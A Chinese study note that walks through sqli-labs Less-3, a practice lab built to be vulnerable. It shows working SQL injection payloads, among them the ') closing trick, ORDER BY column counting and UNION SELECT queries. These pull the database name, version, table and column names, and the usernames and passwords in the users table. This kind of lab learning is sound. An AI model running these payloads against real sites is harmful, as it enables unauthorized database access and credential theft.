sqli-labs学习笔记3

less-3

打开靶场

输入id=1

判断注入类型

id=1'

报错了,存在sql注入,

id=1'--+

还是报错的,感觉是闭合符号不一样。

试试')

这里看了源代码

所以输入

id=1')--+

')来闭合前面的(',--+来注释掉后面的').

判断字段数

id = 1') order by 3 --+

回显正常,判断字段数4

id = 1') order by 4 --+

判断回显位

id= -1') union select 1,2,3 --+

得到了2,3的回显位。

爆破数据库名与数据库版本

id= -1') union select 1,database(),version() --+

得到了对应的数据库名称:security

爆破数据库的表名

id=-1 ') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆破users表的字段

id=-1 ') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

得到对应的字段名。

爆破users表中字段的数据

id=-1') union select 1,2,group_concat(username,id,password) from users --+

最后得到完整的数据。

相关推荐
2501_937860942 小时前
MySQL表的操作:创建、查看、修改、删除完整实战
android·数据库·mysql
奇特認6 小时前
mysql 集群技术 3.高可用之 MHA
数据库·mysql
Bioinfo Guy9 小时前
高分Panel复现系列|转录因子网络太乱?用模块框把重点圈出来
数据库·生物信息学·生信可视化
不会代码的小猴9 小时前
21. 泛型编程上
开发语言·c++·笔记·算法
ltl10 小时前
Disaggregated DB 合集:Socrates、PolarDB、Taurus 的共同模式
数据库
摇滚侠11 小时前
《SpringBoot 3:入门与应用实战》第 2 章 IOC 思想与实现 阅读笔记 1
spring boot·笔记·后端
蒸蒸yyyyzwd11 小时前
秋招不熟悉力扣学习笔记1
笔记·学习·leetcode
Blossom i12 小时前
大数据预处理与采集实验一:使用Python操作MySQL数据库
数据库·mysql
LuminousCPP13 小时前
数据结构-双向循环链表
c语言·数据结构·笔记·链表
小弥儿13 小时前
GitHub今日热榜 | 2026-08-11:图原生基础设施首日登顶
学习·开源·github